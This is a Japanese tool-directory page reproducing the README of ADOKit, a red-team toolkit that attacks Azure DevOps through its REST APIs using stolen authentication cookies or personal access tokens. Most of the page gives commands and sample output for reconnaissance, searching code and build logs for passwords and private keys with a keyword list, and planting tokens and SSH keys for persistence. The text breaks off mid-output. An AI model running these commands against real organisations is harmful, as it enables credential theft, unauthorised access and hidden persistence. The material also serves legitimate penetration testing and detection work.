Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ADOKit — モジュール式の攻撃ツールキットで、盗まれたCookieやPATを使用してAzure DevOps REST APIを悪用し、偵察、権限昇格、持続性を実現します。 | Kitploit
ツール/GitHubGitHub/h4wkst3r/adokit
特権昇格偵察永続化メカニズムペネトレーションテストクラウドセキュリティレッドチーミング
GitHubh4wkst3r/adokit

ADOKit

モジュール式の攻撃ツールキットで、盗まれたCookieやPATを使用してAzure DevOps REST APIを悪用し、偵察、権限昇格、持続性を実現します。

リポジトリを見る
1556424日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ADOKit

説明

Azure DevOps Services 攻撃ツールキット - ADOKit は、利用可能な REST API を活用して Azure DevOps Services を攻撃するために使用できるツールキットです。このツールは、攻撃モジュールを指定し、それぞれの Azure DevOps Services インスタンスの有効な資格情報(API キーまたは盗難された認証クッキー)を指定することができます。サポートされている攻撃モジュールには、偵察、権限昇格、永続化が含まれます。ADOKit はモジュール方式で構築されているため、情報セキュリティコミュニティが将来新しいモジュールを追加できるように設計されています。

ADOKit が使用する手法の詳細は、X-Force Red のホワイトペーパーに記載されています。

Black Hat USA Arsenal 2024

プレゼンテーションスライドとデモは、このリポジトリの BHUSA Arsenal 2024 フォルダに含まれています。

リリース

  • ADOKit バージョン 1.4.1 はリリースページから入手できます。

目次

  • ADOKit
  • 目次
  • インストール/ビルド
    • 使用ライブラリ
    • プリコンパイル済み
    • 自分でビルドする
  • コマンドモジュール
  • 引数/オプション
  • 認証オプション
  • モジュール詳細表
  • 例
    • 偵察
      • Azure DevOps アクセスの検証
      • Whoami
      • 組織一覧
      • リポジトリ一覧
      • リポジトリ検索
      • プロジェクト一覧
      • プロジェクト検索
      • コード検索
      • ファイル検索
      • ユーザー一覧
      • ユーザー検索
      • チーム一覧
      • チーム検索
      • チームメンバー取得
      • グループ一覧
      • グループ検索
      • グループメンバー取得
      • プロジェクト権限取得
      • 資格情報検索
      • ビルドログ取得
      • ビルドログ一覧
      • ビルドログ検索
    • 永続化
      • PAT 作成
      • PAT 一覧
      • PAT 削除
      • SSH 鍵作成
      • SSH 鍵一覧
      • SSH 鍵削除
    • 権限昇格
      • プロジェクト管理者追加
  • 検出
  • ロードマップ
  • 参考文献

インストール/ビルド

使用ライブラリ

このプロジェクトでは以下のサードパーティライブラリを使用しています。

ライブラリURLライセンス
Fodyhttps://github.com/Fody/FodyMIT License
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT License

プリコンパイル済み

  • リリースページのプリコンパイル済みバイナリを使用してください。

自分でビルドする

以下の手順で Visual Studio を設定し、自分でプロジェクトをコンパイルします。これには NuGet パッケージマネージャーからインストールできる 2 つの .NET ライブラリが必要です。

  • Visual Studio プロジェクトを開き、「ツール」→「NuGet パッケージマネージャー」→「パッケージマネージャーの設定」に移動します。
  • 「NuGet パッケージマネージャー」→「パッケージソース」に移動します。
  • URL https://api.nuget.org/v3/index.json でパッケージソースを追加します。
  • Costura.Fody NuGet パッケージをインストールします。
    • Install-Package Costura.Fody -Version 3.3.3
  • Newtonsoft.Json パッケージをインストールします。
    • Install-Package Newtonsoft.Json
  • これでプロジェクトを自分でビルドできます!

コマンドモジュール

  • 偵察
    • check - 組織が Azure DevOps を使用しているか、および資格情報が有効かを確認します。
    • whoami - 現在のユーザーとそのグループメンバーシップを表示します。
    • listorgs - Azure DevOps 内のアクセス可能なすべての組織を一覧表示します。
    • listrepo - すべてのリポジトリを一覧表示します。
    • searchrepo - 指定されたリポジトリを検索します。
    • listproject - すべてのプロジェクトを一覧表示します。
    • searchproject - 指定されたプロジェクトを検索します。
    • searchcode - 検索語を含むコードを検索します。
    • searchfile - 検索語に基づいてファイルを検索します。
    • listuser - ユーザーを一覧表示します。
    • searchuser - 指定されたユーザーを検索します。
    • listteam - チームを一覧表示します。
    • searchteam - 指定されたチームを検索します。
    • getteammembers - 指定されたチームのチームメンバーを取得します。
    • listgroup - グループを一覧表示します。
    • searchgroup - 指定されたグループを検索します。
    • getgroupmembers - 指定されたグループのすべてのグループメンバーを一覧表示します。
    • getpermissions - 指定されたプロジェクトにアクセスできるユーザーの権限を取得します。
    • creds - コード内の資格情報を検索します(キーワードは以下にリスト)。
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - 1つまたはすべてのプロジェクトのビルドログをダウンロードします。
    • listbuildlogs - 1つまたはすべてのプロジェクトのビルドログを一覧表示します。
    • searchbuildlogs - 指定された検索語でビルドログを検索します。
  • 永続化
    • createpat - ユーザーの個人用アクセストークンを作成します。
    • listpat - ユーザーの個人用アクセストークンを一覧表示します。
    • removepat - ユーザーの個人用アクセストークンを削除します。
    • createsshkey - ユーザーの公開 SSH 鍵を作成します。
    • listsshkey - ユーザーの公開 SSH 鍵を一覧表示します。
    • removesshkey - ユーザーの公開 SSH 鍵を削除します。

引数/オプション

  • /credential: - 認証用の資格情報(PAT または Cookie)。すべてのモジュールに適用可能。
  • /url: - Azure DevOps URL。すべてのモジュールに適用可能。
  • /search: - 検索キーワード。すべてのモジュールに適用可能ではありません。
  • /project: - アクションを実行するプロジェクト。すべてのモジュールに適用可能ではありません。
  • /user: - 特定のユーザーに対するアクションを実行。すべてのモジュールに適用可能ではありません。
  • /id: - 永続化モジュールで使用され、特定のトークン ID に対するアクションを実行。すべてのモジュールに適用可能ではありません。
  • /group: - 特定のグループに対するアクションを実行。すべてのモジュールに適用可能ではありません。

認証オプション

ADOKit を使用して Azure DevOps インスタンスに認証する場合の認証オプションは以下のとおりです。

  • 盗難された Cookie - UserAuthentication - これは、ユーザーのマシン上の .dev.azure.com ドメインの UserAuthentication Cookie です。
    • /credential:UserAuthentication=ABC123
  • 盗難された Cookie - AadAuthentication - これは、ユーザーのマシン上の .dev.azure.com ドメインの AadAuthentication Cookie です。
    • /credential:eyJ0...
  • 個人用アクセストークン (PAT) - これは、単一の文字列となるアクセストークン/API キーです。
    • /credential:apiToken
  • 盗難されたアクセストークン - 適切なアクセストークンを盗んだり更新したりできる場合、それも使用できます。アクセストークンを使用する場合、Azure Resource Manager (ARM) リソース ("aud":"https://management.core.windows.net/") または Azure DevOps ("aud":"499b84ac-1321-427f-aa17-267ca6975798") に対して有効である必要があります。
    • /credential:eyJ0..

モジュール詳細表

以下の表は、各モジュールに必要な権限を示しています。

例

Azure DevOps アクセスの検証

ユースケース

認証チェックを実行し、組織が Azure DevOps を使用していることと、提供された資格情報が有効であることを確認します。

構文

check モジュールを、関連する認証情報と URL とともに指定します。これにより、提供された組織が Azure DevOps を使用しているかどうかが出力され、使用している場合は提供された資格情報の検証が試行されます。

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

出力例```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### ユースケース

> *現在のユーザーとそのユーザーのグループメンバーシップを取得する*

#### 構文

認証情報とURLとともに、`whoami` モジュールを指定します。これにより、現在のユーザーとそのすべてのグループメンバーシップが出力されます。

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

組織一覧

ユースケース

指定されたアクセストークンを使用して組織を取得します。

構文

listorgs モジュールに必要な認証情報を提供します。デフォルトでは、このコマンドは提供されたアクセストークンでアクセス可能な組織のみを一覧表示します。

  • /mode:aad を使用すると、直接アクセス権の有無にかかわらず、Azure AD テナント内の すべての DevOps 組織を列挙します。
  • /endpoint:ENDPOINT_NAME を使用して、カスタム AEX エンドポイントを指定します。
    • 追加のエンドポイントは、aex.dev.azure.com の "X-VSS-DeploymentAffinity" クッキーを調べることで特定できます。

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

出力例```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### リポジトリ一覧

#### ユースケース

> *Azure DevOpsインスタンスで使用されているリポジトリを発見する*

#### 構文

`listrepo`モジュールを、関連する認証情報とURLとともに指定します。これにより、リポジトリ名とURLが出力されます。

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Search Repos

ユースケース

Azure DevOpsインスタンス内でリポジトリ名でリポジトリを検索します

構文

searchrepoモジュールと検索条件を/search:コマンドライン引数で指定し、関連する認証情報とURLを付与します。これにより、一致するリポジトリ名とURLが出力されます。

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

出力例```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### プロジェクト一覧

#### ユースケース

> *Azure DevOps インスタンスで使用されているプロジェクトを検出する*

#### 構文

`listproject` モジュールを、関連する認証情報とURLとともに指定します。これにより、プロジェクト名、可視性(パブリックまたはプライベート)、およびURLが出力されます。

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

プロジェクトの検索

ユースケース

Azure DevOps インスタンス内のプロジェクト名でプロジェクトを検索します。

構文

searchproject モジュールと検索条件を /search: コマンドライン引数に、関連する認証情報と URL と共に指定します。これにより、一致するプロジェクト名、可視性(公開またはプライベート)、および URL が出力されます。

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

出力例```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### コードの検索

#### ユースケース

> *Azure DevOps インスタンス内で指定されたキーワードを含むコードを検索します*

#### 構文

`searchcode` モジュールと検索条件を `/search:` コマンドライン引数に指定し、関連する認証情報と URL を合わせて指定します。これにより、一致したコード行と共に、該当するコードファイルの URL が出力されます。

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### 出力例```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

ファイル検索

使用例

Azure DevOps のリポジトリ内で、ファイル名に特定のキーワードを含むファイルを検索する

構文

searchfile モジュールと /search: コマンドライン引数に検索条件を指定し、関連する認証情報と URL を併せて指定します。これにより、該当するリポジトリ内の一致するファイルの URL が出力されます。

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

出力例```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Creds 検索

#### ユースケース

> *Azure DevOps 内でパスワードやAPIキーなどのシークレットを含むコードを検索します*

#### 構文

`creds` モジュールを、関連する認証情報とURLとともに指定します。これにより、一致するファイルのURL(該当リポジトリ内)と、クレデンシャルが存在する一致行が出力されます。

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

ビルドログの取得

ユースケース

すべてのパイプライン実行(ビルドログ)のログをダウンロードします。その後、オフラインで情報や機密情報を検索できます。

構文

getbuildlogs モジュールを /project: と共に指定して、指定されたプロジェクトのすべてのビルドログをダウンロードします。すべてのプロジェクトのログをダウンロードしたい場合は、/project: 引数に all を指定します。これにより、ログをダウンロードするための ADOKit-[ランダム8文字] フォルダがカレントワーキングディレクトリに作成されます。

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

出力例```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### ビルドログの一覧表示

#### ユースケース

> *指定されたプロジェクトまたはすべてのプロジェクトで利用可能なビルドログを一覧表示します。*

#### 構文

特定のプロジェクトのビルドログをすべて一覧表示するには、`listbuildlogs` モジュールに `/project:` を指定して実行します。すべてのプロジェクトのログを一覧表示する場合は、`/project:` 引数に `all` を指定します。

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`


#### 出力例```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

ビルドログの検索

ユースケース

Azure DevOps インスタンス内で特定のキーワードを含むビルドログを検索します

構文

/search: コマンドライン引数に searchbuildlogs モジュールと検索条件を指定し、さらに /project: で特定のプロジェクトを指定して、そのプロジェクトのすべてのビルドログを検索します。すべてのプロジェクトのビルドログを検索する場合は、/project: 引数に all を指定します。これにより、一致したビルド出力ログファイルの URL と、ビルドログ内で一致した行が出力されます。

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

出力例```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### PATを作成する

#### ユースケース

> *Azure DevOps インスタンスへの永続化に使用できる、ユーザー用の個人用アクセストークン (PAT) を作成します。*

#### 構文

`createpat` モジュールと、関連する認証情報および URL を指定します。これにより、作成された PAT の ID、名前、スコープ、有効期限、トークン内容が出力されます。作成される PAT の名前は `ADOKit-` の後に 8 文字のランダムな文字列が続きます。PAT の有効期限は、Azure DevOps で許可される最大期間である作成日から 1 年後になります。

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 出力例```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

List PATs

ユースケース

Azure DevOpsインスタンス内の特定ユーザーの個人用アクセストークン(PAT)をすべて一覧表示します。

構文

listpatモジュールを、関連する認証情報とURLとともに指定します。これにより、ユーザーのすべてのアクティブなPATについて、PAT ID、名前、スコープ、有効期限が出力されます。

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

出力例```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Remove PAT

#### ユースケース

> *指定されたユーザーのPATをAzure DevOpsインスタンスから削除します。*

#### 構文

モジュール `removepat` を、関連する認証情報とURLとともに指定します。さらに、`/id:` 引数にPATのIDを指定します。これにより、PATが削除されたかどうかが出力され、削除実行後にユーザーの現在のアクティブなPATが一覧表示されます。

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### 出力例```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

SSHキーの作成

使用例

Azure DevOpsインスタンスへの永続化に使用できるSSHキーをユーザー用に作成します。

構文

createsshkeyモジュールと、関連する認証情報およびURLを指定します。さらに、/sshkey:引数に公開SSHキーを指定します。これにより、作成されたSSHキーのID、名前、スコープ、有効期限日、公開SSHキーの末尾20文字が出力されます。作成されるSSHキーの名前はADOKit-に続く8文字のランダム文字列となります。SSHキーの有効期限は作成日から1年後で、これはAzure DevOpsで許容される最大値です。

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

出力例```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
